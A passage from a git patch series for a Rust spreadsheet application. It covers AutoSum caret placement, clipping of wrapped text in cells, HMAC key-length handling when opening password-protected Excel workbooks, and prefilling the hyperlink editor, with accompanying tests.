active. self.follow_active_window(); self.after_engine(); + if id == "formulas.autoSum" + && let Some(ed) = self.editor.as_mut() + && ed.text.starts_with('=') + && ed.text.ends_with("()") + { + ed.caret = ed.text.chars().count().saturating_sub(1); + ed.anchor = ed.caret; + ed.sync_caret = true; + } if id == "view.arrangeAll" && self.native_windows && let Ok(r) = &r diff --git a/crates/ui-egui/tests/it/formula_locale.rs b/crates/ui-egui/tests/it/formula_locale.rs index 78af96a1a..4b8ce0420 100644 --- a/crates/ui-egui/tests/it/formula_locale.rs +++ b/crates/ui-egui/tests/it/formula_locale.rs @@ -140,6 +140,15 @@ fn locale_preserves_text_cells_and_existing_entry_conveniences() { assert_eq!(app.editor.as_ref().unwrap().text, "=SUM(1,2)"); } +#[test] +fn empty_cell_autosum_places_caret_inside_parentheses() { + let mut app = app(); + app.run("formulas.autoSum", json!({"enter": false})).unwrap(); + let ed = app.editor.as_ref().unwrap(); + assert_eq!(ed.text, "=SUM()"); + assert_eq!(ed.caret, ed.text.chars().count() - 1); +} + #[test] /// Insert Function and AutoSum use `=SUMA(`, while user-supplied formula text is not translated twice. fn canonical_engine_templates_enter_the_selected_formula_language() { From 9e23c98f3a99f030c70256f1b971d237ad5b1e20 Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Thu, 29 Oct 2026 07:53:37 +0700 Subject: [PATCH 049/298] test(grid): address CodeRabbit feedback for wrapped text clipping --- crates/ui-egui/src/grid/quadrant.rs | 8 ++ .../ui-egui/tests/it/text_overflow_scroll.rs | 122 +++++++++++++----- 2 files changed, 100 insertions(+), 30 deletions(-) diff --git a/crates/ui-egui/src/grid/quadrant.rs b/crates/ui-egui/src/grid/quadrant.rs index 0fbdf14aa..22cdfba19 100644 --- a/crates/ui-egui/src/grid/quadrant.rs +++ b/crates/ui-egui/src/grid/quadrant.rs @@ -65,6 +65,14 @@ fn mirror_shape(shape: &mut egui::Shape, axis: f32) { } } +/// Paint a worksheet quadrant, including cell backgrounds, borders, and text. +/// +/// Cell content is clipped to its drawing region and the current painter +/// viewport. For top-aligned wrapped text, only complete lines that fit +/// within the cell height are painted, preventing fragments of an additional +/// line from appearing against the next row's border. +/// +/// Other vertical alignment modes retain their existing rendering behavior. #[allow(clippy::too_many_arguments)] pub(crate) fn paint_quadrant( p: &Painter, diff --git a/crates/ui-egui/tests/it/text_overflow_scroll.rs b/crates/ui-egui/tests/it/text_overflow_scroll.rs index da0c22183..f3bc0a38b 100644 --- a/crates/ui-egui/tests/it/text_overflow_scroll.rs +++ b/crates/ui-egui/tests/it/text_overflow_scroll.rs @@ -12,11 +12,15 @@ const LEFT: &str = "This is a very long left-aligned text that overflows into ma const RIGHT: &str = "This is a very long right-aligned text that overflows into many empty neighbouring cells"; fn harness(setup: impl FnOnce(&mut Session)) -> Harness { + harness_with_size(egui::vec2(1200.0, 800.0), setup) +} + +fn harness_with_size(size: egui::Vec2, setup: impl FnOnce(&mut Session)) -> Harness { let mut s = Session::new(); s.new_workbook(); setup(&mut s); s.execute("selection.set", json!({"range": "A20"})).unwrap(); - let mut h = crate::common::builder().with_size(egui::vec2(1200.0, 800.0)).build_ui_state( + let mut h = crate::common::builder().with_size(size).build_ui_state( |ui, app: &mut SheetApp| { app.logic(ui.ctx()); app.ui(ui); @@ -222,70 +226,128 @@ fn wrapped_text_in_tiny_row_has_no_partial_lines() { assert!(clip.height() <= 0.5, "no partial line should be visible: clip={clip:?}"); } -/// Issue #2752: scrolling through a wrapped cell may clip at -/// the viewport edge, but must not change its row-bottom limit. +/// Issue #2752: the viewport bottom can cut through a line +/// that otherwise fits fully inside a wrapped cell. #[test] fn wrapped_text_clipping_survives_partial_vertical_scroll() { - const TEXT: &str = "Wrapped viewport regression text with enough words \ - to occupy many lines in a narrow spreadsheet column."; + let text = "Wrapped text must stay within both the worksheet cell \ + and the viewport during vertical scrolling. " + .repeat(40); - let mut h = harness(|s| { + let mut h = harness_with_size(egui::vec2(1200.0, 520.0), |s| { s.execute("home.columnWidth", json!({"cols": "B:B", "chars": 12})).unwrap(); - s.execute("cell.set", json!({"cell": "B3", "input": TEXT})).unwrap(); + s.execute("cell.set", json!({"cell": "B3", "input": text})).unwrap(); s.execute("home.wrapText", json!({"range": "B3", "on": true})).unwrap(); s.execute("home.formatCells", json!({"range": "B3", "style": {"align": {"v": "Top"}}})).unwrap(); - s.execute("home.rowHeight", json!({"rows": "3:3", "height": 76})).unwrap(); + s.execute("home.rowHeight", json!({"rows": "3:3", "height": 350})).unwrap(); }); - let original_cell = cell_rect(&h, "B3"); - let original_clip = text_clips(&h, TEXT); - assert_eq!(original_clip.len(), 1); + let initial_cell = cell_rect(&h, "B3"); + + let (target_center, zoom) = { + let app = h.state(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let geo = Geo::new(sheet, app.grid.rect.unwrap(), app.view().scroll); + + let shapes: Vec<_> = h + .output() + .shapes + .iter() + .filter_map(|shape| match &shape.shape { + Shape::Text(t) if t.galley.job.text == text => Some(t), + _ => None, + }) + .collect(); + + assert_eq!(shapes.len(), 1, "expected wrapped B3 text"); + + let painted = shapes[0]; + + let center = painted + .galley + .rows + .iter() + .map(|row| { + let top = painted.pos.y + row.rect().top(); + let bottom = painted.pos.y + row.rect().bottom(); + (top, bottom) + }) + .find(|(top, bottom)| { + let center = (top + bottom) / 2.0; + center > geo.cells.bottom() + 32.0 && *bottom < initial_cell.bottom() - 1.0 + }) + .map(|(top, bottom)| (top + bottom) / 2.0) + .expect("fixture must provide a cell-fitting line below the viewport"); + + (center, geo.z) + }; + + let viewport_bottom_before_scroll = { + let app = h.state(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let geo = Geo::new(sheet, app.grid.rect.unwrap(), app.view().scroll); + geo.cells.bottom() + }; { let app = h.state_mut(); - let sheet = app.session.active().unwrap().wb.active().unwrap(); - let scroll = sheet.row_top(2) as f32 + 8.0; - app.view_mut().unwrap().scroll.y = scroll; + app.view_mut().unwrap().scroll.y = (target_center - viewport_bottom_before_scroll) / zoom; } h.run_steps(4); let cell = cell_rect(&h, "B3"); - let app = h.state(); - let sheet = app.session.active().unwrap().wb.active().unwrap(); - let geo = Geo::new(sheet, app.grid.rect.unwrap(), app.view().scroll); - let viewport = geo.cells; + + let (viewport, scroll_zoom) = { + let app = h.state(); + let sheet = app.session.active().unwrap().wb.active().unwrap(); + let geo = Geo::new(sheet, app.grid.rect.unwrap(), app.view().scroll); + (geo.cells, geo.z) + }; + + assert!(scroll_zoom > 0.0); let shapes: Vec<_> = h .output() .shapes .iter() .filter_map(|shape| match &shape.shape { - Shape::Text(t) if t.galley.job.text == TEXT => Some((t, shape.clip_rect)), + Shape::Text(t) if t.galley.job.text == text => Some((t, shape.clip_rect)), _ => None, }) .collect(); - assert_eq!(shapes.len(), 1, "B3 must remain visible after scrolling"); + assert_eq!(shapes.len(), 1, "B3 must remain painted"); - let (text, clip) = shapes[0]; + let (painted, clip) = shapes[0]; - assert!(clip.top() > cell.top() + 1.0, "test must scroll through B3: clip={clip:?}, cell={cell:?}"); + assert!(clip.top() >= viewport.top() - 0.5, "clip exceeds viewport top: {clip:?} vs {viewport:?}"); - assert!(clip.top() >= viewport.top() - 0.5, "text must not paint above viewport: {clip:?} vs {viewport:?}"); + assert!(clip.bottom() <= viewport.bottom() + 0.5, "clip exceeds viewport bottom: {clip:?} vs {viewport:?}"); - assert!(clip.bottom() <= cell.bottom() + 0.5, "text must stay within B3: {clip:?} vs {cell:?}"); + assert!(clip.bottom() <= cell.bottom() + 0.5, "clip exceeds cell bottom: {clip:?} vs {cell:?}"); let full_line_bottoms: Vec = - text.galley.rows.iter().map(|row| text.pos.y + row.rect().bottom()).filter(|bottom| *bottom <= cell.bottom() + 0.01).collect(); + painted.galley.rows.iter().map(|row| painted.pos.y + row.rect().bottom()).filter(|bottom| *bottom <= cell.bottom() + 0.01).collect(); - let expected_bottom = full_line_bottoms.last().copied().expect("at least one wrapped line must fit B3"); + let cell_line_bottom = full_line_bottoms.last().copied().expect("at least one line must fit within B3"); + + assert!( + painted.galley.rows.iter().any(|row| { + let top = painted.pos.y + row.rect().top(); + let bottom = painted.pos.y + row.rect().bottom(); + + top + 0.5 < viewport.bottom() && viewport.bottom() < bottom - 0.5 && bottom <= cell.bottom() + 0.01 + }), + "viewport bottom must cross a line that fits B3: \ + viewport={viewport:?}, cell={cell:?}" + ); + + let expected_bottom = viewport.bottom().min(cell_line_bottom); assert!( (clip.bottom() - expected_bottom).abs() <= 0.5, - "scrolling must preserve complete-line clipping: \ - clip={clip:?}, expected_bottom={expected_bottom:.2}" + "clip must respect viewport and complete-line limits: \ + clip={clip:?}, expected={expected_bottom:.2}" ); - - assert!(original_cell.height() > 0.0 && original_clip[0].height() > 0.0, "unscrolled B3 must display text"); } From 6af06e9d30bf27b639adf8cffde4a18cea9d4c64 Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Thu, 29 Oct 2026 09:38:42 +0700 Subject: [PATCH 050/298] fix(grid): preserve full-cell clipping for fitting wrapped text --- crates/ui-egui/src/grid/quadrant.rs | 36 ++++++++++++++++++++--------- 1 file changed, 25 insertions(+), 11 deletions(-) diff --git a/crates/ui-egui/src/grid/quadrant.rs b/crates/ui-egui/src/grid/quadrant.rs index 3491c672d..5d60a2441 100644 --- a/crates/ui-egui/src/grid/quadrant.rs +++ b/crates/ui-egui/src/grid/quadrant.rs @@ -68,6 +68,30 @@ fn mirror_shape(shape: &mut egui::Shape, axis: f32) { } } +/// Restrict top-aligned wrapped text to complete lines inside the cell. +/// +/// Preserve the cell and viewport clip when every line fits. Otherwise, +/// exclude overflowing lines while retaining the visible fitting lines. +fn wrapped_text_clip(p: &Painter, rect: Rect, galley: &egui::Galley, y: f32, valign: VAlign) -> Rect { + let mut clip = rect.intersect(p.clip_rect()); + if valign != VAlign::Top { + return clip; + } + + let Some(last_row) = galley.rows.last() else { + return clip; + }; + + if y + last_row.rect().bottom() <= rect.bottom() + 0.01 { + return clip; + } + + let last_full_bottom = galley.rows.iter().map(|row| y + row.rect().bottom()).rfind(|bottom| *bottom <= rect.bottom() + 0.01); + + clip.max.y = last_full_bottom.map(|bottom| clip.bottom().min(bottom)).unwrap_or(clip.top()).max(clip.top()); + + clip +} pub(crate) struct QuadrantPaint<'a> { pub(crate) painter: &'a Painter, pub(crate) geo: &'a Geo, @@ -368,17 +392,7 @@ fn paint_cell(q: &QuadrantPaint<'_>, painted: &(CellRef, Rect, Look, Option text_left + pad + indent, }; let y = wrapped_cell_text_y(st.align.v, *rect, galley.size().y, z); - let mut text_clip = rect.intersect(p.clip_rect()); - - // A partially visible wrapped line can leave a few pixels - // touching the row border. For top-aligned text, show only - // complete lines within the available cell height. - if st.align.v == VAlign::Top { - let last_full_bottom = galley.rows.iter().map(|row| y + row.rect().bottom()).rfind(|bottom| *bottom <= rect.bottom() + 0.01); - - text_clip.max.y = last_full_bottom.map(|bottom| text_clip.bottom().min(bottom)).unwrap_or(text_clip.top()).max(text_clip.top()); - } - + let text_clip = wrapped_text_clip(p, *rect, &galley, y, st.align.v); p.with_clip_rect(text_clip).galley(pos2(x, y), galley, color); return; } From d1f063636a848d07d827a9e60efa9c70c8473eae Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Thu, 29 Oct 2026 09:51:22 +0700 Subject: [PATCH 051/298] test(grid): preserve clipping for fully fitting wrapped text --- .../ui-egui/tests/it/text_overflow_scroll.rs | 39 +++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/crates/ui-egui/tests/it/text_overflow_scroll.rs b/crates/ui-egui/tests/it/text_overflow_scroll.rs index f3bc0a38b..8756666db 100644 --- a/crates/ui-egui/tests/it/text_overflow_scroll.rs +++ b/crates/ui-egui/tests/it/text_overflow_scroll.rs @@ -113,6 +113,45 @@ fn scrolled_overflow_does_not_draw_over_frozen_columns() { assert!(clips.iter().all(|r| !r.intersects(a1.shrink(1.0))), "C1's overflow stays out of frozen column A: {clips:?}"); } +/// Fully fitting wrapped lines retain the whole cell clip, including +/// room for glyphs extending below their logical line boxes. +#[test] +fn wrapped_text_fitting_lines_keep_full_cell_clip() { + const TEXT: &str = "Short wrapped text with two or three lines."; + + let h = harness(|s| { + s.execute("home.columnWidth", json!({"cols": "B:B", "chars": 15})).unwrap(); + s.execute("cell.set", json!({"cell": "B3", "input": TEXT})).unwrap(); + s.execute("home.wrapText", json!({"range": "B3", "on": true})).unwrap(); + s.execute("home.formatCells", json!({"range": "B3", "style": {"align": {"v": "Top"}}})).unwrap(); + s.execute("home.rowHeight", json!({"rows": "3:3", "height": 120})).unwrap(); + }); + + let cell = cell_rect(&h, "B3"); + + let shapes: Vec<_> = h + .output() + .shapes + .iter() + .filter_map(|shape| match &shape.shape { + Shape::Text(t) if t.galley.job.text == TEXT => Some((t, shape.clip_rect)), + _ => None, + }) + .collect(); + + assert_eq!(shapes.len(), 1, "expected one wrapped text shape"); + + let (text, clip) = shapes[0]; + + assert!(text.galley.rows.len() >= 2, "text must wrap"); + assert!(text.galley.size().y < cell.height(), "all lines must fit"); + + let last_bottom = text.pos.y + text.galley.rows.last().unwrap().rect().bottom(); + + assert!(last_bottom < cell.bottom() - 1.0, "room must remain below the final line"); + + assert!((clip.bottom() - cell.bottom()).abs() <= 0.5, "full cell clip must be retained: clip={clip:?}, cell={cell:?}"); +} /// Issue #2752: fixed-height wrapped cells must not paint /// a fraction of a text line against the next row's border. #[test] From bc1e19f1f652e60c4ca44595da3af58d6f6531a8 Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Thu, 29 Oct 2026 10:02:14 +0700 Subject: [PATCH 052/298] docs(grid): document cell painting and clipping behavior --- crates/ui-egui/src/grid/quadrant.rs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/crates/ui-egui/src/grid/quadrant.rs b/crates/ui-egui/src/grid/quadrant.rs index 5d60a2441..554bdcfdd 100644 --- a/crates/ui-egui/src/grid/quadrant.rs +++ b/crates/ui-egui/src/grid/quadrant.rs @@ -317,6 +317,10 @@ fn should_expand_text(filter_space: f32, overflows: bool, across_end: u32, col: filter_space == 0.0 && (overflows || across_end > col) && !in_merge } +/// Paint one worksheet cell using its computed appearance and visible geometry. +/// +/// Handles text layout, wrapping, alignment, overflow into neighbouring cells, +/// and clipping, while preserving cell decoration and merged-cell constraints. fn paint_cell(q: &QuadrantPaint<'_>, painted: &(CellRef, Rect, Look, Option), merges: &[RangeRef]) { let (cell, rect, lk, cfl) = painted; let c = *cell; From 9e0f14cab9d0d8cd0d693a096df8fc677abfc2cc Mon Sep 17 00:00:00 2001 From: truongit Date: Thu, 29 Oct 2026 14:42:37 +0700 Subject: [PATCH 053/298] Open Excel's password-protected workbooks again: accept a hash-size integrity key (#2712) Since #2425 checks Agile encryption's dataIntegrity, every workbook Excel encrypts fails with "the decrypted data failed its integrity check". The reader keyed the HMAC with the decrypted encryptedHmacKey cut to the salt size (16 bytes), as [MS-OFFCRYPTO] 2.3.4.14 describes it, but Excel's key is as long as the hash: 64 bytes for SHA-512. The check now accepts a key of either length, so spec-literal writers still open and a modified package still fails. The test encryptor writes the integrity key as Excel does, so every encrypted fixture now has Excel's layout; a new test covers both key lengths, a key of neither length, and tampering with each. Co-Authored-By: Claude Opus 5.5 --- crates/xlsx/src/crypto.rs | 25 ++++++++++++++++++++----- crates/xlsx/src/crypto/tests.rs | 19 ++++++++++++++++++- crates/xlsx/src/testing.rs | 17 ++++++++++++++--- 3 files changed, 52 insertions(+), 9 deletions(-) diff --git a/crates/xlsx/src/crypto.rs b/crates/xlsx/src/crypto.rs index 0a63044a0..cafe08d17 100644 --- a/crates/xlsx/src/crypto.rs +++ b/crates/xlsx/src/crypto.rs @@ -169,6 +169,16 @@ impl Hash { } } + /// The digest's length in bytes. + fn digest_len(self) -> usize { + match self { + Hash::Sha1 => 20, + Hash::Sha256 => 32, + Hash::Sha384 => 48, + Hash::Sha512 => 64, + } + } + /// The bytes the algorithm's compression function takes: 128 for SHA-384/512, else 64. fn block_size(self) -> usize { match self { @@ -464,15 +474,20 @@ fn agile(xml: &[u8], package: &[u8], password: &str) -> Result, DecryptE let secret = field(&key_value, &BLOCK_KEY)?; let aes = Aes::new(secret.get(..key_data.key_len).ok_or_else(|| malformed("a short encryptedKeyValue"))?)?; // Package integrity, [MS-OFFCRYPTO] 2.3.4.14: both HMAC fields are encrypted with the - // package key (the verifier above only authenticates the password), keyed by a random - // salt-size array, computed over the whole EncryptedPackage stream, StreamSize field included. + // package key (the verifier above only authenticates the password), computed over the whole + // EncryptedPackage stream, StreamSize field included. The specification keys the HMAC with a + // random salt-size array, but Excel's key is as long as the hash (64 bytes for SHA-512), so + // both lengths are tried. let mut mac_field = hmac_key; aes.decrypt_cbc(&key_data.iv(Some(&BLOCK_HMAC_KEY)), &mut mac_field)?; - mac_field.truncate(key_data.salt.len()); let mut declared = hmac_value; aes.decrypt_cbc(&key_data.iv(Some(&BLOCK_HMAC_VALUE)), &mut declared)?; - let mac = hmac(key_data.hash, &mac_field, package); - if declared.get(..mac.len()) != Some(mac.as_slice()) { + let verified = [key_data.hash.digest_len(), key_data.salt.len()].into_iter().any(|len| { + let Some(key) = mac_field.get(..len) else { return false }; + let mac = hmac(key_data.hash, key, package); + declared.get(..mac.len()) == Some(mac.as_slice()) + }); + if !verified { return Err(malformed("the decrypted data failed its integrity check")); } let (size, data) = package_parts(package)?; diff --git a/crates/xlsx/src/crypto/tests.rs b/crates/xlsx/src/crypto/tests.rs index 5f14686e9..56ac7d8a2 100644 --- a/crates/xlsx/src/crypto/tests.rs +++ b/crates/xlsx/src/crypto/tests.rs @@ -3,7 +3,7 @@ //! files are built in code by `crate::testing`. No Excel-produced file is used. use super::*; -use crate::testing::{agile_info, encrypt_agile, encrypt_standard, with_agile_header}; +use crate::testing::{agile_info, encrypt_agile, encrypt_agile_with_hmac_key, encrypt_standard, with_agile_header}; const PASSWORD: &str = "Pass1234"; /// 16 zero bytes (whole AES blocks), a stand-in for a real integrity field where the values @@ -231,3 +231,20 @@ fn integrity_matches_the_stream_not_the_plaintext() { assert!(matches!(decrypt_streams(&info, &ours, PASSWORD), Err(DecryptError::Malformed(m)) if m.contains("integrity"))); assert_eq!(decrypt_streams(&info, &package, PASSWORD).unwrap(), plain); } + +#[test] +fn integrity_keys_as_long_as_the_hash_or_the_salt_verify() { + // Excel keys the HMAC with 64 bytes (#2712); [MS-OFFCRYPTO] 2.3.4.14 describes a salt-size + // key. Both verify, and neither lets a modified package through. + let plain = payload(5000); + for key in [vec![7u8; 64], vec![7u8; 16]] { + let (info, package) = encrypt_agile_with_hmac_key(&plain, PASSWORD, 1000, &key); + assert_eq!(decrypt_streams(&info, &package, PASSWORD).unwrap(), plain, "{}-byte key", key.len()); + let mut tampered = package.clone(); + tampered[100] ^= 1; + assert!(matches!(decrypt_streams(&info, &tampered, PASSWORD), Err(DecryptError::Malformed(m)) if m.contains("integrity"))); + } + // Another length (a key that matches neither) fails. + let (info, package) = encrypt_agile_with_hmac_key(&plain, PASSWORD, 1000, &[7u8; 32]); + assert!(matches!(decrypt_streams(&info, &package, PASSWORD), Err(DecryptError::Malformed(m)) if m.contains("integrity"))); +} diff --git a/crates/xlsx/src/testing.rs b/crates/xlsx/src/testing.rs index 5729250bb..a82283644 100644 --- a/crates/xlsx/src/testing.rs +++ b/crates/xlsx/src/testing.rs @@ -21,7 +21,13 @@ const KEY_DATA_SALT: [u8; 16] = [16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, const SECRET_KEY: [u8; 32] = [64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95]; const VERIFIER: [u8; 16] = [32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47]; -const HMAC_SALT: [u8; 16] = [112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127]; +/// The dataIntegrity HMAC key, as long as the hash: Excel writes 64 bytes for SHA-512, not the +/// salt-size key [MS-OFFCRYPTO] 2.3.4.14 describes. +const HMAC_KEY: [u8; 64] = [ + 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, + 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, + 170, 171, 172, 173, 174, 175, +]; /// `package` (normally an `.xlsx` zip) as Excel stores it with a password: Agile encryption /// (AES-256, SHA-512) inside a compound file. @@ -237,6 +243,11 @@ pub(crate) fn with_agile_header(xml: &str) -> Vec { /// `EncryptionInfo` and `EncryptedPackage` for `plain`, Agile (AES-256, SHA-512), with the /// dataIntegrity HMAC over the whole EncryptedPackage stream as Excel writes it. pub(crate) fn encrypt_agile(plain: &[u8], password: &str, spin: u32) -> (Vec, Vec) { + encrypt_agile_with_hmac_key(plain, password, spin, &HMAC_KEY) +} + +/// [`encrypt_agile`] with the dataIntegrity HMAC keyed by `hmac_key`. +pub(crate) fn encrypt_agile_with_hmac_key(plain: &[u8], password: &str, spin: u32, hmac_key: &[u8]) -> (Vec, Vec) { let key_data = Params { hash: Hash::Sha512, salt: KEY_DATA_SALT.to_vec(), key_len: 32 }; let mut body = vec![]; for (i, segment) in plain.chunks(SEGMENT).enumerate() { @@ -244,8 +255,8 @@ pub(crate) fn encrypt_agile(plain: &[u8], password: &str, spin: u32) -> (Vec } let stream = package(plain.len(), body); let (hmac_key_b64, hmac_value_b64) = ( - base64_encode(&encrypt_cbc(&SECRET_KEY, &key_data.iv(Some(&BLOCK_HMAC_KEY)), &HMAC_SALT)), - base64_encode(&encrypt_cbc(&SECRET_KEY, &key_data.iv(Some(&BLOCK_HMAC_VALUE)), &hmac(Hash::Sha512, &HMAC_SALT, &stream))), + base64_encode(&encrypt_cbc(&SECRET_KEY, &key_data.iv(Some(&BLOCK_HMAC_KEY)), hmac_key)), + base64_encode(&encrypt_cbc(&SECRET_KEY, &key_data.iv(Some(&BLOCK_HMAC_VALUE)), &hmac(Hash::Sha512, hmac_key, &stream))), ); (with_agile_header(&agile_info(password, spin, &hmac_key_b64, &hmac_value_b64)), stream) } From 94433a3c4fae6c6420c4b4dfb95ba51ab81d81b8 Mon Sep 17 00:00:00 2001 From: truongit Date: Thu, 29 Oct 2026 16:51:55 +0700 Subject: [PATCH 054/298] Document the Agile decryption steps Co-Authored-By: Claude Opus 5.5 --- crates/xlsx/src/crypto.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/crates/xlsx/src/crypto.rs b/crates/xlsx/src/crypto.rs index cafe08d17..bf495d747 100644 --- a/crates/xlsx/src/crypto.rs +++ b/crates/xlsx/src/crypto.rs @@ -454,6 +454,8 @@ fn agile_descriptor(xml: &[u8]) -> Result { }) } +/// Decrypts an Agile package ([MS-OFFCRYPTO] 2.3.4.10): checks the password against the +/// verifier, unwraps the package key, verifies the dataIntegrity HMAC, then decrypts the segments. fn agile(xml: &[u8], package: &[u8], password: &str) -> Result, DecryptError> { let descriptor = agile_descriptor(xml)?; let AgileDescriptor { key_data, key, spin, verifier_input, verifier_hash, key_value, hmac_key, hmac_value } = descriptor; From 45cc92ae3c369d4c7d7ce41be610fc5880730150 Mon Sep 17 00:00:00 2001 From: fream <121830007+Plutonium-fream@users.noreply.github.com> Date: Thu, 29 Oct 2026 11:49:33 +0100 Subject: [PATCH 055/298] fix(ui): prefill existing hyperlinks in link editor (#2876) --- contributors/people.toml | 3 + crates/ui-egui/src/dialogs.rs | 42 +++-- crates/ui-egui/src/dialogs/show.rs | 8 + crates/ui-egui/tests/it/hyperlink_dialog.rs | 176 ++++++++++++++++++++ crates/ui-egui/tests/it/main.rs | 1 + docs/ui-parity.md | 7 +- 6 files changed, 225 insertions(+), 12 deletions(-) create mode 100644 crates/ui-egui/tests/it/hyperlink_dialog.rs diff --git a/contributors/people.toml b/contributors/people.toml index 5ce80fe59..f79ecec4c 100644 --- a/contributors/people.toml +++ b/contributors/people.toml @@ -103,3 +103,6 @@ real_name = "Helen Kwok" [people.dotCooCoo] real_name = "Robert Lee" sync_github_name = true + +[people.Plutonium-fream] +sync_github_name = true diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index 82b252607..92187d5c0 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -72,6 +72,8 @@ pub struct Dialog { focus_initialized: bool, /// The formula box that takes references clicked or dragged on the grid (New Formatting Rule). pick: Option, + /// The linked cell's initial display text; unchanged text must not replace a number or formula. + original_link_text: Option, } /// A formula box in point mode, as in Excel: a click on the grid writes the cell's absolute @@ -165,6 +167,7 @@ impl Dialog { self.values.insert(pick.key.into(), json!(ed.text)); } + /// Creates a command-backed form with its initial field values. fn form(name: &str, title: &str, command: &'static str, fields: Vec, defaults: Json) -> Dialog { Dialog { name: name.into(), @@ -183,9 +186,11 @@ impl Dialog { back: None, focus_initialized: false, pick: None, + original_link_text: None, } } + /// Creates a dialog whose body handles its own controls instead of a standard form. pub(crate) fn custom(name: &str, title: &str, defaults: Json) -> Dialog { Dialog { name: name.into(), @@ -204,9 +209,11 @@ impl Dialog { back: None, focus_initialized: false, pick: None, + original_link_text: None, } } + /// Opens the named dialog with defaults from the active workbook, including a cell's stored hyperlink. pub fn open(app: &mut SheetApp, name: &str, params: Json) -> Option { let sel = app.session.active().map(|d| d.selection.current().a1()).unwrap_or_default(); let active = app.session.active().map(|d| d.selection.active.a1()).unwrap_or_default(); @@ -494,17 +501,30 @@ impl Dialog { json!({"url": url}), ) } - "insertLink" => Dialog::form( - "insertLink", - "Insert Hyperlink", - "insert.link", - vec![ - Text { key: "text", label: "Display:" }, - Text { key: "target", label: "Link to (web address, e-mail or Sheet!A1):" }, - Text { key: "tooltip", label: "ScreenTip:" }, - ], - json!({"target": "https://"}), - ), + "insertLink" => { + let mut d = Dialog::form( + "insertLink", + "Insert Hyperlink", + "insert.link", + vec![ + Text { key: "text", label: "Display:" }, + Text { key: "target", label: "Link to (web address, e-mail or Sheet!A1):" }, + Text { key: "tooltip", label: "ScreenTip:" }, + ], + json!({"target": "https://"}), + ); + if let Some(doc) = app.session.active() + && let Some(sheet) = doc.wb.active() + && let Some(link) = sheet.hyperlinks.get(&doc.selection.active) + { + let text = gridcraft_engine::display::cell_text(&doc.wb, sheet, doc.selection.active); + d.values.insert("target".into(), json!(link.target)); + d.values.insert("text".into(), json!(text)); + d.values.insert("tooltip".into(), json!(link.tooltip)); + d.original_link_text = Some(text); + } + d + } "sparkline" => Dialog::form( "sparkline", "Create Sparklines", diff --git a/crates/ui-egui/src/dialogs/show.rs b/crates/ui-egui/src/dialogs/show.rs index 07debbca6..071a94e5b 100644 --- a/crates/ui-egui/src/dialogs/show.rs +++ b/crates/ui-egui/src/dialogs/show.rs @@ -15,9 +15,17 @@ use super::{Dialog, Field, Json, Key, Map, RefPick, SheetApp, json, vec2}; /// Builds the command params from form values for dialogs that need translation. /// The parameters OK sends to the dialog's command: its field values, reshaped per dialog. +/// Unchanged hyperlink display text is omitted so its number or formula stays intact. pub(crate) fn build_params(d: &Dialog) -> Json { let mut v = Json::Object(d.values.clone()); match d.name.as_str() { + "insertLink" => { + if d.original_link_text.as_deref().is_some_and(|text| d.values.get("text").and_then(Json::as_str) == Some(text)) + && let Some(m) = v.as_object_mut() + { + m.remove("text"); + } + } "advancedFilter" => { if let Some(m) = v.as_object_mut() { m.remove("action"); diff --git a/crates/ui-egui/tests/it/hyperlink_dialog.rs b/crates/ui-egui/tests/it/hyperlink_dialog.rs new file mode 100644 index 000000000..63886305c --- /dev/null +++ b/crates/ui-egui/tests/it/hyperlink_dialog.rs @@ -0,0 +1,176 @@ +//! #2876: editing a stored hyperlink starts from its address, display text and ScreenTip. + +use egui_kittest::kittest::Queryable as _; +use gridcraft_engine::core::CellRef; +use gridcraft_engine::model::{Cell, Hyperlink}; +use gridcraft_ui_egui::SheetApp; +use gridcraft_ui_egui::control::{Outcome, handle}; +use serde_json::{Value as Json, json}; + +type Harness = egui_kittest::Harness<'static, SheetApp>; + +/// Runs the same dialog controls used by the public automation interface. +fn control(h: &mut Harness, method: &str, params: Json) -> Json { + let ctx = h.ctx.clone(); + let Outcome::Done(result) = handle(h.state_mut(), &ctx, method, ¶ms) else { panic!("unexpected screenshot response") }; + assert_eq!(result["ok"], true, "{method}: {result}"); + result +} + +/// A non-default active cell carrying a stored hyperlink and the requested input. +fn linked_harness(input: &str, target: &str) -> Harness { + let mut session = crate::support::blank_session(); + session.execute("cell.set", json!({"cell": "B2", "input": input})).unwrap(); + session.execute("insert.link", json!({"cell": "B2", "target": target, "tooltip": "Original tip"})).unwrap(); + session.execute("selection.set", json!({"cell": "B2"})).unwrap(); + crate::support::harness(session, 4) +} + +/// Captures both content and stored link metadata so cancellation and undo are exact. +fn linked_cell(h: &Harness) -> (Cell, Hyperlink) { + let sheet = h.state().session.active().unwrap().wb.active().unwrap(); + let at = CellRef::parse("B2").unwrap(); + (sheet.cells.get(at).cloned().unwrap(), sheet.hyperlinks.get(&at).cloned().unwrap()) +} + +/// Both relationship URLs and workbook locations prefill the same form. +#[test] +fn existing_external_and_internal_links_prefill_their_fields() { + for target in ["https://example.org/original?q=1", "Sheet1!F9"] { + let mut h = linked_harness("Original label", target); + control(&mut 